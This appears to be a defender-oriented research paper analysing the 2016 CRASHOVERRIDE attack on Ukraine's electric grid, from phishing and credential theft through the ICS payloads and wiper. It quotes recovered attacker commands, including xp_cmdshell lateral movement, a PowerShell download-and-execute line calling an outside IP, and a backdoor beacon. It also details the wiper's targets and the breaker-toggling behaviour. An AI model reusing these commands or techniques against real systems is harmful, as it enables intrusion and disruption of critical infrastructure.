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ABSTRACT
CRASHOVERRIDE is the first publicly known malware 
designed to impact electric grid operations. While some attention 
has already been paid to CRASHOVERRIDE’s ICS-specific 
effects, the broader scope of the attack – and the prerequisites for 
its execution – have been woefully under-examined. 

Reviewing previously unavailable data covering logs, forensics, 
and various incident information, this paper will outline the 
CRASHOVERRIDE attack in its entirety, from breach of the 
ICS network through delivery and execution of ICS-specific 
payloads. This examination will show that, aside from the 
requirement to develop and deploy ICS-targeting software for 
its final effects, CRASHOVERRIDE largely relied upon fairly 
standard intrusion techniques in order to achieve its results. By 
understanding this methodology and how these techniques can 
be monitored and detected, ICS asset owners and defenders can 
begin to identify detection and visibility gaps in order to catch 
such techniques in the future. 

While CRASHOVERRIDE effectively represents a new 
application of malware to produce a physical impact, the 
underlying techniques for intrusion and deployment would 
immediately be recognizable even to a junior penetration tester. 
In demystifying this attack, defenders and testers can gain 
greater appreciation both for the existing vulnerabilities within 
electric grid operations and for the steps required to build 
effective defences.

BACKGROUND
At the time of its discovery, CRASHOVERRIDE was the second 
publicly known ICS-targeting malware, and the first to target the 
electric grid (see Figure 1). While previous operations had taken 

place against electric grid operations (most notably the 2015 
Ukraine outage attributed to SANDWORM) none had used 
malware to deliver, semi-autonomously, the actual ICS impact. 

Initial public reporting of the attack focused on 
CRASHOVERRIDE’s impact on energy grid operations, which 
included a relatively brief blackout in a specific Kiev substation in 
late December 2016. While concerning, CRASHOVERRIDE’s 
ultimate, direct effects were rather unimpressive considering the 
underlying possibilities of the malware in question. Much more 
concerning than the immediate impact was the implicit message 
behind the attack: that adversaries were now able and willing to 
invest time and resources in developing software specifically 
designed to manipulate electric grid operations.

CRASHOVERRIDE itself is a modular malware framework 
designed to deploy several ICS protocol-specific attack payloads 
in order to disrupt electricity distribution. Given this function, 
CRASHOVERRIDE must be deployed on an endpoint within 
the target network that is capable of directly manipulating or 
communicating with ICS controlling equipment. Furthermore, 
CRASHOVERRIDE will only function if supplied with the 
appropriate protocol-specific communication module for the 
equipment in the victim environment.

CRASHOVERRIDE’s implementation and execution is 
certainly interesting, but the attack itself represents the final 
action in a complex, multi-staged sequence. Devoting inordinate 
attention to CRASHOVERRIDE’s final attack sequence ignores 
the multiple stages prior to effect delivery during which this 
assault could have been detected, stopped, or mitigated.

While an understanding of CRASHOVERRIDE’s fundamentals 
is important, and will be addressed in this paper, 
CRASHOVERRIDE is best understood as an event with 
multiple, inter-dependent stages. As shown in Figure 2, the 
actual implementation of the malware represents the final stage 
in a complex operation. 

Figure 2: ICS cyber kill chain.Figure 1: ICS malware events.
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Understanding how these individual, dependent actions work 
with each other enables us to form a better understanding of 
CRASHOVERRIDE as an attack, starting with the initial 
intrusion into the IT network, all the way through to the 
execution of an ICS disruptive payload. By taking this approach, 
ICS owners and operators can identify multiple potential points 
at which a CRASHOVERRIDE-like attack can be detected, 
mitigated and defeated before it reaches the final stages of the 
ICS cyber kill chain.

ADVERSARY
Following analysis of CRASHOVERRIDE in mid-2017, 
researchers at Dragos identified strong links between the entity 
executing the CRASHOVERRIDE attack and the 
SANDWORM APT actor that was responsible for the 2015 
Ukraine outage [1]. Subsequent investigation and analysis of 
confidential information indicated that the group responsible for 
CRASHOVERRIDE, ELECTRUM, may previously have served 
as the ICS capability development team for SANDWORM, and 
possibly executed greater operational autonomy with respect to 
2016 events in Kiev. Henceforth, when referring to the 
adversary executing the CRASHOVERRIDE attack, this paper 
will default to ELECTRUM.

Figure 3: ELECTRUM overview.

Based on its association with SANDWORM, ELECTRUM 
aligns with Russian strategic interests and is believed to be a 
capable, well-resourced adversary. While many aspects of 
ELECTRUM’s activity remain uncertain, available information 
indicates that the group possesses specialized development 
capabilities for ICS-specific software and remains operationally 
active.

INITIAL INTRUSION
Initial infection vectors are often very difficult to identify 
post-incident when viewing information gleaned through 

external research. Based on available evidence and subsequent 
information in this paper, we can identify the initial intrusion to 
the target environment as possibly having emerged from a 
phishing campaign as early as January 2016. This earliest 
possible date places events in Ukraine almost a year prior to the 
CRASHOVERRIDE impact, and mere weeks following the 
2015 Ukrainian power event. Based on analysis of additional 
recovered artifacts, we can say that initial access and 
entrenchment in the IT network was achieved no later than 
October 2016.

PIVOTING TO ICS
Specific information on how ELECTRUM navigated from IT to 
ICS – a critical inflection point for ICS intrusion events – 
remains elusive. Based on information presented in the next 
section, ELECTRUM most likely leveraged credential capture 
on compromised IT machines to build up a corpus of logons and 
additional authentication information. From this step, and 
similar in some respects to the 2015 Ukrainian power outage, 
ELECTRUM would re-use legitimate credentials to remotely 
log onto machines within the ICS environment, or leverage 
existing VPN connections.

From recovered log and system data, we know that the adversary 
initially accessed a device in early December that was either 
dual-homed on the IT and ICS networks or featured connectivity 
to the IT network. This compromise pre-dated any other 
interactions with hosts in the ICS environment. Given this 
timeline information and initial activity focusing on user account 
manipulation in early December, ELECTRUM appears to have 
used this device as its ‘beach head’ within the ICS network.

Starting on 1 December 2016 at 01:28 (unspecified time zone in 
recovered log data), rapid user account modifications take place 
on this initial ICS access server focused on two newly created 
accounts, ‘admin’ and ‘система’ (System). The accounts are 
created, assigned to a domain matching local operations, and 
privileges delegated before event logging on the impacted 
system is disabled at 01:29. The speed of the above operations 
implies at minimum adversary scripting to make multiple 
changes within a short span of time.

MOVEMENT WITHIN ICS
ELECTRUM activity then appeared to slow within the network, 
until a significant and rapid resumption of operations on 12 
December 2016. At this point, a new host appears in the records. 
Based on captured artifacts and logs, this new host was a 
Microsoft Windows Server 2003 device running Microsoft SQL 
Server. Subsequent investigation indicated that two other similar 
devices, featuring the same naming schema (e.g. ‘Device-1’, 
‘Device-2’, etc.), were also accessed by the attacker. Within an 
ICS environment a database server can act as a type of data 
historian for process and control system information [2]. In this 
role, the devices would be expected to have extensive 
connections to other hosts within the network – including 
devices that are either directly involved in critical process 
operations, or that are directly connected to such hosts.

The first signs of interaction occurred at approximately 13:00 on 
12 December 2016, with several actions that appeared to be 
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initial reconnaissance. For example, ELECTRUM began 
querying directory info, performing directory listings, and 
testing network connectivity. These actions continued for 
approximately two hours and included network connectivity 
checks to other named resources in the victim environment. This 
suggests the attacker had already performed sufficient 
reconnaissance of the ICS environment to have identified hosts 
of interest. Unfortunately, corresponding log data was not 
available to provide definitive evidence to back up this 
assumption.

ELECTRUM then executed a script to test authentication 
capability to a series of named hosts within the control system 
network. While the original script was not recovered, in log data 
a series of rapid RPC authentication attempts to multiple hosts 
were observed for user ‘Administrator’ with the same password 
across over 100 endpoints, specified by host name. The 
combination of credential specificity and host-name 
identification strongly indicates significant reconnaissance 
activity having taken place between initial access to the ICS 
environment in early December and the observed activity in 
mid-December.

In both this activity and other survey, reconnaissance and 
execution items, nearly all commands across all three server 
hosts were executed in the following manner:

EXEC xp_cmdshell <command>

The above format adds concrete evidence to the theory that the 
server hosts were MS-SQL servers, as ‘xp_cmdshell’ is an 
MS-SQL command that allows for the execution of arbitrary 
commands [3]. From this, ELECTRUM appears to leverage 
MS-SQL access to the central ‘pivot’ machines in order to gain 
code execution throughout the ICS environment. By identifying 
both a means to occupy a strategic, central node for the victim 
network and an effective, but not easy-to-identify method for 
command execution, ELECTRUM placed itself in an excellent 
position to broaden the scope of the compromise.

In addition to the above, ELECTRUM also attempted to create a 
link between servers [4]. While the exact destination server was 
not recovered in data, the following command was observed:

"BEGIN EXEC master.dbo.sp_addlinkedserver @server = 
N'" & strLink & "', @srvproduct=N'SQL Server'; EXEC 
master.dbo.sp_addlinkedsrvlogin @rmtsrvname=N'" & 
strLink & "',@useself=N'False',@rmtuser=N'admin',@
rmtpassword='<PASSWORD>'; END;"

ELECTRUM used a variety of native system commands, known 
utilities, and custom scripts from the core server hosts. With the 
exception of a UPX-packed copy of Mimikatz1, no actual 
malware aside from the final CRASHOVERRIDE payload was 
observed in available data. Examples of commands executed 
include the following:

EXEC xp_cmdshell 'net use L: \\<TargetIP>\$C 
<Password> /USER:<Domain>\<User>';

EXEC xp_cmdshell 'move C:\Delta\m32.txt C:\Delta\m32.
exe';

EXEC xp_cmdshell 'netstat -an';

1 Hashes for all recovered samples and malware can be found in 
Appendix A.

The ‘move’ command is interesting, as it reflects behaviour seen 
in multiple instances where ELECTRUM transferred files into 
the ICS network as ‘.txt’ extensions. After moving the relevant 
files to victims in the ICS environment, the files were renamed 
as ‘.exe’ items using the move command prior to further 
operations. While simple and not especially elegant, such a 
technique can be used to defeat very simple detection 
methodologies based on extension tracking.

In addition, scripts and the SysInternals PSExec program were 
used for additional functions. Of note, ELECTRUM renamed 
the PSExec executable ‘ps.exe’ and used an older version than 
the latest available at the time of the attack. While PSExec 2.2, 
published in July 2016, would have been the most recent 
version, ELECTRUM instead utilized version 2.11, published in 
April 2014 [5].

From a script perspective, multiple VBS and BAT scripts were 
used in the event to facilitate file movement, system survey, and 
as a wrapper for PowerShell execution. For example, one 
lengthy script, ‘remote.vbs’, provides the ability to remotely 
query another system when given an IP, user name, and 
password. The script itself (provided in Appendix B) is 
essentially a collection of benign WMI and similar queries used 
to perform system survey information and command execution. 
Looking at the source code, there are overlaps with multiple 
publicly available examples for running WMI queries but no 
exact matches. Examples of script use for remote process 
execution include the following:

EXEC xp_cmdshell 'cscript C:\Delta\remote.vbs 
/s:<TargetIP> /u:<UserName> /p:<Password> /t:-r arp 
-a'

EXEC xp_cmdshell 'cscript C:\Delta\remote.vbs 
/s:<TargetIP> /u:<UserName> /p:<Password> /t:-r dir 
C:\intel\';

A different example is a simple BAT script used to execute 
PowerShell:

powershell.exe -nop -w hidden -c $l=new-
object net.webclient;$l.proxy=[Net.
WebRequest]::GetSystemWebProxy();$l.
Proxy.Credentials=[Net.
CredentialCache]::DefaultCredentials;IEX 
$l.downloadstring('http://188.42.253.43:8801/
msupdate');

Aside from being proxy-aware, the above is a simple, 
unobfuscated PowerShell script used to retrieve a file. 
Unfortunately, at the time of discovery the resource specified 
was no longer available, so its exact function and purpose are 
unknown.

Fuelling much, if not most of this activity was the ability to 
capture and reuse legitimate network credentials within the 
victim environment. As stated previously, the adversary used 
Mimikatz for this purpose. Most interestingly for the assumed 
level of attack sophistication and the wide variety of options 
available for obfuscating Mimikatz or running it within 
memory, ELECTRUM simply compiled the publicly available 
Mimikatz source code and packed it with UPX. While the tool 
itself remains effective, from a detection and mitigation 
standpoint this choice is very curious.

Tying all of the above together, ELECTRUM leveraged a 
combination of scripts, remote process execution and credential 
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harvesting to penetrate the environment and ‘seed’ it with a 
final, malicious payload: CRASHOVERRIDE.

CRASHOVERRIDE
After extensive environmental survey activity and verifying 
access in the 12 to 15 December 2016 time period, 
ELECTRUM proceeded to push the CRASHOVERRIDE 
framework to target hosts around 16 December 2016. After 
verifying connectivity and other operations, on 17 December 
ELECTRUM began pushing out malicious software to hosts 
connected to the server machines using a BAT file which called 
two, unrecovered VBS scripts. Although the exact content of the 
VBS items is unknown, review of the BAT indicates that they 
copy files to remote hosts and then verify via a directory listing. 
Of note, the BAT contains hard-coded addresses and separate 
files exist for each of the CRASHOVERRIDE payload modules 
except the ‘launcher’ module. 

Example lines from ‘101_copy.bat’ and ‘104_copy.bat’ include 
the following:

cscript C:\Backinfo\ufn.vbs <TargetIP>  
"C:\Backinfo\ImapiService.exe" "C:\Delta\svchost.exe"

cscript C:\Backinfo\ufn.vbs <TargetIP>  
"C:\Backinfo\101.dll" "C:\Delta\101.dll"

cscript C:\Backinfo\ufn.vbs <TargetIP>  
"C:\Backinfo\139.ini" "C:\Delta\101.ini"

cscript C:\Backinfo\ufn.vbs <TargetIP>  
"C:\Backinfo\haslo.dat" "C:\Delta\haslo.dat"

cscript C:\Backinfo\sqlc.vbs "<TargetIP>" "-c"  
"dir C:\Delta\"

cscript C:\Backinfo\ufn.vbs <TargetIP>  
"C:\Backinfo\ImapiService.exe" "C:\Delta\svchost.exe"

cscript C:\Backinfo\ufn.vbs <TargetIP>  
"C:\Backinfo\104.dll" "C:\Delta\104.dll"

cscript C:\Backinfo\ufn.vbs <TargetIP>  
"C:\Backinfo\140.ini" "C:\Delta\104.ini"

cscript C:\Backinfo\ufn.vbs <TargetIP>  
"C:\Backinfo\haslo.dat" "C:\Delta\haslo.dat"

cscript C:\Backinfo\sqlc.vbs "<TargetIP>" "-c"  
"dir C:\Delta\"

At a high level, CRASHOVERRIDE itself consists of at least 
three pieces (and in most cases, four): a launcher executable; an 
ICS protocol-specific payload module in DLL form; a wiper 
payload module, also in DLL form; and a configuration file for 
most of the effects payloads. 

Of note, the above scripts do not include copying of the 
CRASHOVERRIDE launcher module. Artifacts relating to this 
event were not available, but given past observed activity, a 
likely option for moving this module to target devices would be 
the NET USE command or similar activity. The most likely 
reason for separating these actions is target specificity: while the 
CRASHOVERRIDE launcher module is common across all 
attack types, specific payload modules are required for different 
target devices. By copying the ‘core’ component first, along 
with other operations, ELECTRUM could conduct appropriate 
surveillance to determine what ICS targets link to victim hosts, 
and thus select the appropriate ICS effects payload module for 
deployment.

Once copied over, CRASHOVERRIDE is created and started as 
a system service in all observed cases except in the standalone 
OPC module. ELECTRUM uses the ‘remote.vbs’ script, 
described above, to call ‘sc config’ and related commands to 
start services on remote systems. For example:

EXEC xp_cmdshell 'cscript C:\Delta\remote.vbs 
/s:<TargetIP> /u:<Host/Domain>\<User> /p:<Password> 
/t:-c sc config imapiservice binPath= "C:\Intel\imapi.
exe C:\Intel\ imapi.dll i.ini" start= auto';

Separate commands are issued to start the service, which will 
also start on system boot. The ‘binPath’ setting indicates the 
calling convention for CRASHOVERRIDE:

CoreExecutable WorkingDirectory PayloadModule 
ConfigurationFile

While the service is started manually and set to auto-start on 
boot when configured, actual execution waits due to a timing 
function within the binary that is set to a hard-coded value. The 
specific coding routine is shown in Figure 4 and works to set a 
‘trigger event’ for actual payload execution and to coordinate 
execution across multiple installations or victim hosts.

One item of immediate interest in analysing the available data is 
that ELECTRUM’s actions in copying the CRASHOVERRIDE 
payloads to hosts and executing them as services did not rely on a 
reported custom backdoor that was identified in the attack [6]. 
While this backdoor software was recovered from compromised 
hosts and existed within the environment, all identified data from 
recovered log and forensics information indicates that native 
system commands combined with credential re-use were used to 
deploy and execute ICS impact packages – with no indications of 
custom malware having been used (or needed) to produce this 
effect. While it is possible that evidence outside of what was 
available for this analysis does exist for use of the custom 
backdoor, a review of operations indicates that such malware was 
completely unnecessary to achieve the desired effect.

Before proceeding with further information about the attack, a 
review of the specific CRASHOVERRIDE components is 
required.

CRASHOVERRIDE modules

CRASHOVERRIDE is a modular framework consisting of 
multiple, dependent parts. As shown in Figure 5, the ‘launcher’ 
module serves as the base for subsequent operations and 
provides the framework for subsequent effects modules to 
execute. Each effects module is specially purposed for either a 
specific ICS communication protocol or the general ‘wiping’ 
module. The process for an ICS attack entails the launcher 
module calling the exported ‘Crash’ function from a payload 
DLL that was specified when launched, using a configuration 
file to determine targets (depending on payload), and then 
automatically calling the wiper component – also a DLL 
exporting ‘Crash’ – after a cool-down period.

Launcher module

All recovered launcher modules feature relatively simplistic 
functionality. At a high level, they are designed as service 
executables that call the ‘Crash’ export for the provided DLL 
based on the calling parameters documented previously. Of 
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Figure 4: CRASHOVERRIDE launcher timing function.

Figure 5: CRASHOVERRIDE program flow.
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interest, the launcher samples we analysed contained several 
hard-coded parameters, including a service name for the created 
service (examples include ‘defragsvc’ and ‘imapiservice’) and 
execution times for the payload after service start. Examples of 
execution times identified include:
December 17, 2016 22:27 UTC

December 20, 2016 06:30 UTC

After reaching the hard-coded time value, the service hands off 
execution to the relevant payload or effects DLL to begin 
producing the intended ICS impact. Two hours after initial 
attack execution, the launcher module moves execution to the 
destructive or ‘wiper’ module.

Brief review of grid operations protocols
Electric distribution operations leverage supervisory control and 
data acquisition (SCADA) systems to manage grid operations 
across geographically distributed areas. Facilitating this activity 
are specific protocols designed to communicate with equipment 
from centralized operations centres. Protocols are often 
vendor- or region-specific. For example, IEC-101 and IEC-104, 
both of which are used in CRASHOVERRIDE, are generally 
used only in Europe and parts of the Middle East and Asia. 
North American operations typically rely on Distributed 

Network Protocol 3 (DNP3) for the same functionality. While 
all provide the same base-level capabilities, their 
implementations are somewhat different, meaning that ICS 
communications must be designed for the specific grid 
operations implementation at play. Figure 6 provides an 
overview of how various protocols ‘flow’ through a simplistic 
grid operations network design, highlighting the four protocols 
used in CRASHOVERRIDE: IEC-101, IEC-104, IEC-61850, 
and OPC DA. Additional information on grid operations and 
functionality can be found in the Dragos CRASHOVERRIDE 
whitepaper [7]. 

IEC-101

IEC-101 is a grid operations protocol mostly found in Europe as 
well as parts of Asia and the Middle East. Unlike the other 
protocols leveraged in CRASHOVERRIDE, IEC-101 uses serial 
communications (instead of TCP/IP) to control and 
communicate with equipment. The IEC-101 DLL (in all 
recovered cases creatively named ‘101.dll’) requires a 
configuration file that specifies Information Object Address 
(IOA) values. Ultimately, the module is designed simply to 
change the state of IOAs in order to switch physical breaker 
status from closed to open, or vice versa.

Figure 6: CRASHOVERRIDE protocols in context.
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IEC-104
IEC-104 is, in many respects, the same as IEC-101, except for 
the fact that communications take place over TCP/IP. As a 
result, the configuration file for IEC-104 payloads requires a 
target IP address, with the attack package focused on the same 
open/closed effect as seen in IEC-101. As shown in Figure 7, 
IEC-104 module execution flow is quite straightforward: the 
launcher calls the exported ‘Crash’ function from the IEC-104 
DLL; a client thread is created; depending on configuration, a 
new communication process is started or an existing IEC-104 
communications process is replaced; a socket is formed to 
controlled devices to begin sending traffic; traffic is recorded to 
a log file. Once this routine is complete, execution is handed 
back to the launcher to await the countdown triggering the 
destructive module.

IEC-61850
IEC-61850 is a standard for substation communications with a 
global footprint, and with development efforts contributed by 
ABB [8, 9]. As such, this protocol features a much broader 
adoption than IEC-101 and IEC-104 and is more concerning for 
operators globally given this larger usage footprint.

Within recovered data, two versions of the IEC-61850 attack 
module were recovered: an EXE specifying a configuration file, 
and a DLL using the same ‘Crash’ export functionality as other 
recovered samples. An examination of the ‘WinMain’ routine 
for the EXE (Figure 9) and the ‘Crash’ export for the DLL 
(Figure 10) show initialization to be essentially the same as in 

previous modules, with the exception of the EXE’s specification 
of a configuration file, ‘i.ini’, located in the same directory. As a 
result, the EXE can be run as a stand-alone executable with no 
parameters aside from the presence of a configuration file (all 
options are hard coded), while the DLL requires the launcher 
with parameters specified.

While a configuration file is specified (simply containing a list 
of IP addresses, one per line) both versions of the attack module 
also have functionality to dynamically perform network 
discovery. This is performed by first enumerating all network 
adapters on the victim machine, then enumerating all IPs 
connected to the network interfaces. Based on the network 
address and broadcast address for connected IPs, the module 
then attempts to connect to every IP in the subnet via broadcast 
address. Each successful connection is stored in an internal 
array matching the format of ‘i.ini’. While effective, this routine 
represents a very blunt (and exceptionally noisy) mechanism for 
indiscriminately identifying other hosts within the network.

Actual communications with devices take place via TCP 102, 
the default listening port for this targeted version of IEC-61850-
compliant communication. In this context, it is important to note 
that actual communications leverage Manufacturing Message 
Specification (MMS), while IEC-61850 provides the standard 
for addressing these messages within IEC-61850-1 [10]. Based 
on this, the modules gather and enumerate control points from 
devices corresponding to switches and breakers within the 
configuration file, with the ultimate goal of toggling designated 
control points following enumeration to either OPEN (0) or 

Figure 7: IEC-104 program flow.
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Figure 8: Wiper module registry manipulation.

Figure 9: IEC-61850 EXE initialization.

Figure 10: IEC-61850 DLL crash.
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CLOSE (1) states. This provides effectively similar functionality 
(in terms of physical impact) to that of the IEC-101 and 
IEC-104 modules.

OPC

OLE for Process Control (OPC), and specifically the Data 
Access (DA) standard [11], were targeted by 
CRASHOVERRIDE’s OPC-DA module. The standard is an 
OPC Foundation specification that ‘defines how real-time data 
can be transferred between a data source and a data sink (for 
example: a PLC and an HMI) without either of them having to 
know each other’s native protocol’ [12]. This module exists as a 
stand-alone executable. Examining available log and forensics 
data, the module is called via a remote execution routine with 
no need for support files, making it distinct from other modules:

EXEC xp_cmdshell 'cscript C:\Delta\remote.vbs 
/s:<TargetIP> /u:<Host/Domain>\<User> /p:<Password> 
/t:-r cmd /c start c:\Intel\opc.exe';

Examining the file supports the above conclusion. First, the 
module appears to re-use source code from a publicly available 
OPC client toolkit [13]. Second, no configuration file is 
necessary or referenced in the code, indicating that the binary 
should be able to perform some auto-discovery function. The 
module includes functionality for both local and remote 
enumeration of OPC server instances, but only local discovery 
is called. While default credentials appear to be hard coded for 
remote access in the MakeRemoteHost function (user 
‘Administrator’ and password ‘1qas@WSX’), the specification 
still requires a hostname for the target device, which does not 
appear to be provided anywhere, and the function is never 
actually used.

The module is therefore limited to enumerating and interacting 
with local OPC server instances running on the infected host. 
Thus, unlike the other CRASHOVERRIDE modules, the OPC 
module is designed to run on the host providing ICS-related 
functionality and control, rather than sending messages 
‘downstream’ to another device.

From an enumeration perspective, the program attempts to 
identify local items:

• ctlSelOn

• ctlSelOff

• ctlOperOn

• ctlOperOff

• stVal

Once this is complete, responding items are logged, then 
‘ctlOperOn’ and ‘ctlSelOn’ are set (irrespective of their status 
during enumeration). Next, the module turns the same items off 
by setting ‘ctlOperOff’ and ‘ctlSelOff’. This corresponds to 
opening breakers or turning a selected pathway ‘off’, bringing 
functionality in line with previously discussed modules.

Hybrid payload: OPC + 61850
ELECTRUM deployed a binary, named ‘imapi.dll’, that 
combines functionality for both the 61850 and OPC modules 
detailed above. As displayed in Figure 11, the ‘Crash’ export 
creates two threads in sequence: the first for a routine 
duplicating OPC module functionality, the second essentially 
replicating the 61850 modules. 

Of note, this slightly more complex sample features a later 
execution time for effects delivery than others observed thus far: 

Figure 11: IMAPI sequential ThreadCreate.
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20 December 2016 06:30 UTC. This corresponds to the ‘second 
round’ of attacks after the initial timing of around midnight on 
17 December 2016. While this may seem to be a follow-on 
attack, compilation timestamps preserved as debug directory 
artifacts indicate that imapi was compiled before the initial 
outages and was therefore a pre-planned attack designed to 
occur at a later time. One possibility, based on the functionality 
of the two protocols, is that the paired attack is designed to 
overcome environmental fail-safes: notably, switchgear refusing 
to open if circuit breakers are not open to prevent arc. 
Combining the two payloads allows for OPC to target breakers 
(and potentially switchgear as well) while 61850 impacts 
switchgear. In combination, this would overcome operational 
fail-safes to deliver an electric distribution impact. 

Wiper module

The destructive, or ‘wiper’, module represents the last stage of 
the CRASHOVERRIDE attack. Following a two-hour timer (in 
samples available for analysis), the launcher executable once 
again looks for the exported ‘Crash’ function, but this time in a 
separate, hard-coded file that must be co-located in the specified 
working directory, ‘haslo.dat’.

The wiper consists of three stages:

1. Overwrite system service registry entries to null values 
to render the system unbootable.

2. Remove files relating to ICS operations to impede 
recovery and system restoration.

3. Terminate system processes to cause a crash and 
system shutdown.

First, the wiper moves to make the system unbootable by 
manipulating services listed in the following registry hive:

SYSTEM\CurrentControlSet\Services

For each system service, the image path is cleared. On system 
restart, the machine will be unable to load system services, 
resulting in a failure to boot the OS (see Figure 8).2

Next, the wiper enumerates the infected machine for all drives 
C-Z except ‘V:\’. The wiper then looks for various generic file 
formats (e.g. ‘.exe’, ‘.zip’, ‘.tar’) as well as files with more 
specific extensions (as listed in Table 1) for deletion.

Overall, the file types referenced are for ABB equipment, 
specifically the ABB MicroSCADA product line [15]. 
Essentially, the wiper looks to eliminate files relating to grid 
operations in order to inhibit service restoration and recovery 
based on previously saved, known-good configurations.

Finally, the wiper proceeds to terminate system processes to 
force a system crash:

audiodg.exe lsm.exe svchost.exe

conhost.exe services.exe taskhost.exe

csrss.exe shutdown.exe wininit.exe

dwm.exe smss.exe winlogon.exe

explorer.exe spoolss.exe wuauclt.exe

lsass.exe spoolsv.exe

At this stage, the impacted system – a device sitting ‘one hop’ 
away from the target ICS equipment for the specified impact 
module – is shut down, with immediate system restoration 
impossible without recourse to boot disks and non-standard 
manipulation of the impacted host. Furthermore, unless backups 
of relevant files are kept elsewhere in the network, precise ICS 
and SCADA service restoration is impossible due to the loss of 
configuration files.

Primary backdoor module

ESET and initial Dragos reports all identified a primary 
backdoor initiating events for the CRASHOVERRIDE attack. 
As indicated above, subsequent analysis based on newly 
available data from the event indicates that this backdoor was 
not necessary for CRASHOVERRIDE and, based on recovered 
forensic artifacts, may not have been used to execute the attacks. 

Admittedly, even with a far greater corpus of data than was 
available in June 2017 when CRASHOVERRIDE was first 

2 In some respects, this behaviour is functionally (in terms of outcome) 
equivalent to the service wiping function used in the Olympic Destroyer 
event (see [14]). However, the two are implemented differently, thus not 
indicating any definitive link between the entities responsible.

File/extension Assessed purpose

SYS_BASCOM.COM ABB SYS600 base system 
configuration file

*.pcmp ABB PCM600 project file

*.pcmi ABB PCM600 IEC file

*.pcmt ABB PCM600 template IED file

*.pl Programmable logic file (vendor 
neutral)

*paf PLC archive file (vendor neutral)

*.scl Substation configuration language 
(IEC-61850)

*.cid Configured IED description

*.scd Substation configuration description 
(IEC-61850)

*.xrf Cross reference file used in ABB 
MicroSCADA

*.v Possibly AutoCAD

*.trc Trace file type specified in OPC DA

*.cin ABB MicroSCADA specific file

*.ini MicroSCADA documentation uses 
INI files extensively

*.prj ABB control builder

*.mdf Database format

*.ldf Database format

*.bak ABB SYS600 project files use BAK 
for backup files

Table 1: File extensions searched for by the wiper for deletion.
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publicly disclosed, there remain gaps, therefore it is possible 
that other aspects of the attack relied on this custom backdoor. 
Nonetheless, a review of operations and software functionality 
indicate that this component – which is also the component that 
most resembles traditional malware and is easiest to detect via 
traditional security measures – is not necessary for executing a 
CRASHOVERRIDE-like event.

As this module has already received extensive coverage and 
analysis in other publications (namely ESET’s Industroyer 
analysis and Dragos’ CRASHOVERRIDE whitepaper), we will 
not examine it further here.

Impeding recovery

In addition to the wiper module described previously, 
ELECTRUM also deployed a denial of service capability 
leveraging a previously disclosed and patched vulnerability in 
Siemens SIPROTEC equipment, CVE-2015-5374 [16]. The 
vulnerability was patched in 2015 – still relatively recent for 
device patching in ICS environments considering the attack took 
place in late 2016. The SIPROTEC device itself plays 
supporting and enabling roles in IEC-61850 communications 
and SCADA control, making it a potentially effective target to 
further disrupt operations during the attack by inhibiting 
operator control.

Unfortunately, in designing this software, which is appropriately 
named ‘dos.exe’, the attacker successfully implemented the 
specially crafted traffic to UDP 50000 that would trigger a 
denial of service condition, but failed to implement byte 
conversion for IP addresses when creating sockets. As a result, 
the module sends traffic to invalid, incorrect IP addresses. For 
example, if targeting 192.1.2.3, the created socket would send 
traffic to 3.2.1.192.

As implemented, the ‘dos.exe’ module includes a hard-coded 
list of IP addresses for attack. As a result, even if this error is 
caught at run-time, the adversary could not ‘fudge’ execution by 
reading in a modified list of ‘reversed’ IP addresses. Thus this 
module is effectively useless for the attack.

Alternate backdoor

Finally, an additional backdoor component was discovered in 
the intrusion and originally noted by ESET in mid-2017. The 
backdoor itself is a modified copy of Windows Notepad. Within 
the environment, the file – based on exif and metadata – appears 
to be a legitimate, albeit older, copy of Notepad:

File Size  : 72 kB
File Type  : Win32 EXE
File Type Extension  : exe
MIME Type  : application/octet-stream
Machine Type   : Intel 386 or later, and 
compatibles
Time Stamp  : 2008:04:13 12:35:51-06:00
PE Type   : PE32
Subsystem  : Windows GUI
File OS   : Windows NT 32-bit
Object File Type  : Executable application
Language Code  : English (U.S.)
Company Name  : Microsoft Corporation

File Description  : Notepad
File Version  : 5.1.2600.5512 (xpsp.080413-
2105)
Internal Name  : Notepad
Legal Copyright  : © Microsoft Corporation. 
All rights reserved.
Original File Name : NOTEPAD.EXE
Product Name  : Microsoft® Windows® 
Operating System
Product Version  : 5.1.2600.5512

However, a review of plaintext strings immediately indicates 
something altered in the file. In addition to obfuscated program 
sections, the following observables appear:

RegisterPenApp
notepad.chm
hhctrl.ocx
CLSID\{ADB880A6-D8FF-11CF-9377-00AA003B7A11}\

InprocServer32

Further research has identified samples exhibiting these static 
characteristics ranging from January 2016 (nearly a year before 
CRASHOVERRIDE) to the present. The programs themselves 
all launch a call-out to a hard-coded, but obfuscated, network 
address. Unfortunately, the exact purpose of this call-out is not 
completely clear at present. The observed traffic is likely a 
call-out beacon to initiate connection back to the executing host.

Several examples are evident in CRASHOVERRIDE data. One 
sample, named ‘csvd.exe’, produces the following call-out:

GET /8C7SW HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Host: 188.42.253.43:8820

Other examples recovered ‘in the wild’ include beacons to 
private addresses, public addresses with a destination port of 
TCP 4444 (potentially indicative of a Meterpreter payload), and 
other variations. At present, without complete traffic flows and 
additional context, this item remains somewhat mysterious in 
terms of its ultimate, complete functionality.

The IP address in question is unremarkable, belonging to a 
Singapore-based hosting provider with no associated domains. 
This is potentially adversary-owned infrastructure but it is more 
likely that it represents legitimate network space compromised 
by the adversary for first-hop communications.

At present, it is not certain if this tool represents an 
ELECTRUM-exclusive item or the re-purposing of a common 
backdoor by the group for the CRASHOVERRIDE attack. Work 
on this item continues.

CONTEXT AND MITIGATION

Reviewing the entirety of the CRASHOVERRIDE event – from 
initial intrusion through ICS-focused physical impact – several 
interesting items emerge:

• Except for the final ICS-focused payloads, almost no 
malware was used in the attack. The primary backdoor 
mechanism, discussed earlier, may not even have been used 
based on available information, and other malicious 
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software variants represent publicly available frameworks 
such as Mimikatz.

• Network intrusion, information gathering and pivoting all 
relied on credential capture and re-use and leveraging 
legitimate system tools for execution.

• The timeframe of the overall intrusion is measured in 
months, but the shift to ICS impacts took place in a matter 
of weeks beginning in mid-December, potentially fuelled 
by earlier reconnaissance.

Based on all of the above items, ELECTRUM’s 
CRASHOVERRIDE attack represents both a sophisticated 
event (in terms of designing ICS-specific malicious payloads) 
and an example of fairly standard intrusion activities such as 
‘living off the land’3. This mixed set of capabilities – from 
relatively advanced to commodity, ‘pentester 101’ – reveal an 
interesting aspect of both ELECTRUM and ICS intrusion events 
in general: while the ultimate impact scenario generally requires 
some specialized knowledge, actual network intrusion requires 
no especially advanced set of skills.

From a detection and response standpoint, especially when 
considered across the kill chain (Figure 2), identifying 
seemingly ‘commodity’ tactics within the context of the ICS 
